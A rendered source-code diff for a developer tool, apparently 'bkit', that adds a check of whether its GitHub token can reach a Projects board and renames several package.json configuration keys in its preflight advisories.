" Workflows set the board's Status field by option name: `In progress` when a phase starts, `In review` at hand-off. " +
|
|
216
220
|
'A board whose Status options are named differently sets `"progress"` and `"review"` beside `"project"` to its own names.\n\n' +
|
|
@@ -219,7 +223,81 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
|
|
|
219
223
|
"3. The `BKIT_GH_TOKEN` PAT needs Projects read & write (repo scope is not enough): a fine-grained PAT gets it as an " +
|
|
220
224
|
"organization permission, so it reaches organization boards only; a classic PAT with the `project` scope reaches " +
|
|
221
225
|
"organization and personal boards.\n\n" +
|
|
222
|
-
"To opt out and silence this advisory, set `bkit.github.project` to `false` in package.json.",
|
|
226
|
+
"To opt out and silence this advisory, set `bkit.tracker.github.project` to `false` in package.json.",
|
|
227
|
+
};
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
/** `gh` run with the token the engine uses for tracker calls: BKIT_GH_TOKEN as GH_TOKEN when set. */
|
|
231
|
+
function ghAsEngine(args: string[]): string {
|
|
232
|
+
const token = process.env.BKIT_GH_TOKEN;
|
|
233
|
+
return execFileSync("gh", args, {
|
|
234
|
+
encoding: "utf-8",
|
|
235
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
236
|
+
timeout: 5000,
|
|
237
|
+
env: token ? { ...process.env, GH_TOKEN: token } : process.env,
|
|
238
|
+
});
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
/**
|
|
242
|
+
* Whether the engine's token can move cards on the configured board: "present",
|
|
243
|
+
* "missing", or "unknown" (gh unavailable or unauthenticated). A classic token lists its
|
|
244
|
+
* scopes in `X-OAuth-Scopes` and needs `project`; a fine-grained token lists none, so the
|
|
245
|
+
* board itself is queried.
|
|
246
|
+
*/
|
|
247
|
+
export function detectProjectTokenScope(owner: string, number: number): TokenPresence {
|
|
248
|
+
let head: string;
|
|
249
|
+
try {
|
|
250
|
+
head = ghAsEngine(["api", "-i", "user"]).split(/\r?\n\r?\n/)[0] ?? "";
|
|
251
|
+
} catch {
|
|
252
|
+
return "unknown";
|
|
253
|
+
}
|
|
254
|
+
const scopes = /^x-oauth-scopes:(.*)$/im.exec(head);
|
|
255
|
+
if (scopes) {
|
|
256
|
+
const list = scopes[1]!.split(",").map((x) => x.trim());
|
|
257
|
+
return list.includes("project") ? "present" : "missing";
|
|
258
|
+
}
|
|
259
|
+
const field = "projectV2(number: $n) { id }";
|
|
260
|
+
try {
|
|
261
|
+
const out = ghAsEngine([
|
|
262
|
+
"api",
|
|
263
|
+
"graphql",
|
|
264
|
+
"-f",
|
|
265
|
+
`query=query($login: String!, $n: Int!) { repositoryOwner(login: $login) { ... on User { ${field} } ... on Organization { ${field} } } }`,
|
|
266
|
+
"-f",
|
|
267
|
+
`login=${owner}`,
|
|
268
|
+
"-F",
|
|
269
|
+
`n=${number}`,
|
|
270
|
+
]);
|
|
271
|
+
const parsed = parseJson(out);
|
|
272
|
+
const data = (parsed.ok ? parsed.value : null) as {
|
|
273
|
+
data?: { repositoryOwner?: { projectV2?: { id?: string } | null } | null };
|
|
274
|
+
} | null;
|
|
275
|
+
return data?.data?.repositoryOwner?.projectV2?.id ? "present" : "missing";
|
|
276
|
+
} catch {
|
|
277
|
+
return "missing";
|
|
278
|
+
}
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
/**
|
|
282
|
+
* The engine moves board cards with `BKIT_GH_TOKEN`; a token that cannot reach the board
|
|
283
|
+
* makes every move fall back to the MCP. Checked live, so it runs only when a board is
|
|
284
|
+
* configured, the tracker is GitHub, and not on cloud / CI (no interactive owner to fix it).
|
|
285
|
+
*/
|
|
286
|
+
export function buildGithubProjectTokenScopeAdvisory(cwd: string): PreflightFinding | null {
|
|
287
|
+
const config = readBkitConfig(cwd);
|
|
288
|
+
const board = config.github.project;
|
|
289
|
+
if (config.issueTracker !== "github" || !board || isCloudOrCi()) return null;
|
|
290
|
+
if (detectProjectTokenScope(board.owner, board.number) !== "missing") return null;
|
|
291
|
+
return {
|
|
292
|
+
id: "github-project-token-scope",
|
|
293
|
+
severity: "advisory",
|
|
294
|
+
detect:
|
|
295
|
+
`The GitHub token cannot reach the board \`${config.github.projectUrl}\`: a classic token lacks the \`project\` scope, ` +
|
|
296
|
+
"or a fine-grained token's board query returned nothing. Board moves fall back to the MCP.",
|
|
297
|
+
action:
|
|
298
|
+
"Give `BKIT_GH_TOKEN` Projects read & write: a classic PAT needs the `project` scope (reaches organization and personal boards); " +
|
|
299
|
+
"a fine-grained PAT needs the organization permission Projects: Read and write (organization boards only). " +
|
|
300
|
+
"Then re-run `bkit check`.",
|
|
223
301
|
};
|
|
224
302
|
}
|
|
225
303
|
|
|
@@ -230,15 +308,15 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
|
|
|
230
308
|
* consumers to make the choice post-install.
|
|
231
309
|
*
|
|
232
310
|
* Also performs the cloud=claude config-consistency assertion: when
|
|
233
|
-
* `bkit.
|
|
311
|
+
* `bkit.cloud.agent === "claude"` but the installed `bkit-cloud.yml` lacks
|
|
234
312
|
* `id-token: write`, it surfaces a consistency warning (exit-1 signal surfaced via
|
|
235
313
|
* the `blocker` severity in the checks/before/index.ts caller).
|
|
236
314
|
*
|
|
237
315
|
* Resolution order (file presence is authoritative, package.json field is the
|
|
238
316
|
* opt-out):
|
|
239
317
|
* - `.github/workflows/bkit-cloud.yml` present → `cloud-router` (informational; active)
|
|
240
|
-
* - `bkit.
|
|
241
|
-
* - `bkit.
|
|
318
|
+
* - `bkit.cloud.agent === "none"` → null (opt-out — stay quiet)
|
|
319
|
+
* - `bkit.tracker.default === "jira"` → null (Jira runs locally only)
|
|
242
320
|
* - otherwise (undecided) → `cloud-router-none` (nudge to choose)
|
|
243
321
|
*
|
|
244
322
|
* Only fires when there is a `.github/workflows/` dir (the router wakes on a CI
|
|
@@ -258,7 +336,7 @@ export function buildCloudSetupAdvisory(cwd: string): PreflightFinding | null {
|
|
|
258
336
|
id: "cloud-claude-missing-id-token",
|
|
259
337
|
severity: "blocker",
|
|
260
338
|
detect:
|
|
261
|
-
"`bkit.
|
|
339
|
+
"`bkit.cloud.agent` is `claude` but `.github/workflows/bkit-cloud.yml` lacks `id-token: write`. `claude-code-action@v1` will fail at boot with an OIDC error.",
|
|
262
340
|
action:
|
|
263
341
|
"Re-run `pnpm bkit install --auto=claude --tracker=github` to regenerate the workflow with `id-token: write` and the App-auth framing. Also verify the Claude GitHub App is installed (`/install-github-app`). See bkit's `cloud.md` § Post-CI auto-routing.",
|
|
264
342
|
};
|
|
@@ -292,6 +370,6 @@ export function buildCloudSetupAdvisory(cwd: string): PreflightFinding | null {
|
|
|
292
370
|
action:
|
|
293
371
|
"Optional post-install decision. For a GitHub-tracker repo: `pnpm bkit install --auto=claude --tracker=github`. For a Linear-tracker repo: `pnpm bkit install --auto=cursor --tracker=linear`.\n\n" +
|
|
294
372
|
"Prerequisites for `--auto=claude`: `ANTHROPIC_API_KEY` repo secret (or the `ANTHROPIC_FEDERATION_RULE_ID` + `ANTHROPIC_ORGANIZATION_ID` repo variables for keyless workload identity federation) + Claude GitHub App (`/install-github-app`) + GitHub Actions write permissions.\n\n" +
|
|
295
|
-
'To opt out and silence this advisory, set `bkit.
|
|
373
|
+
'To opt out and silence this advisory, set `bkit.cloud.agent` to `"none"` in package.json.',
|
|
296
374
|
};
|
|
297
375
|
}
|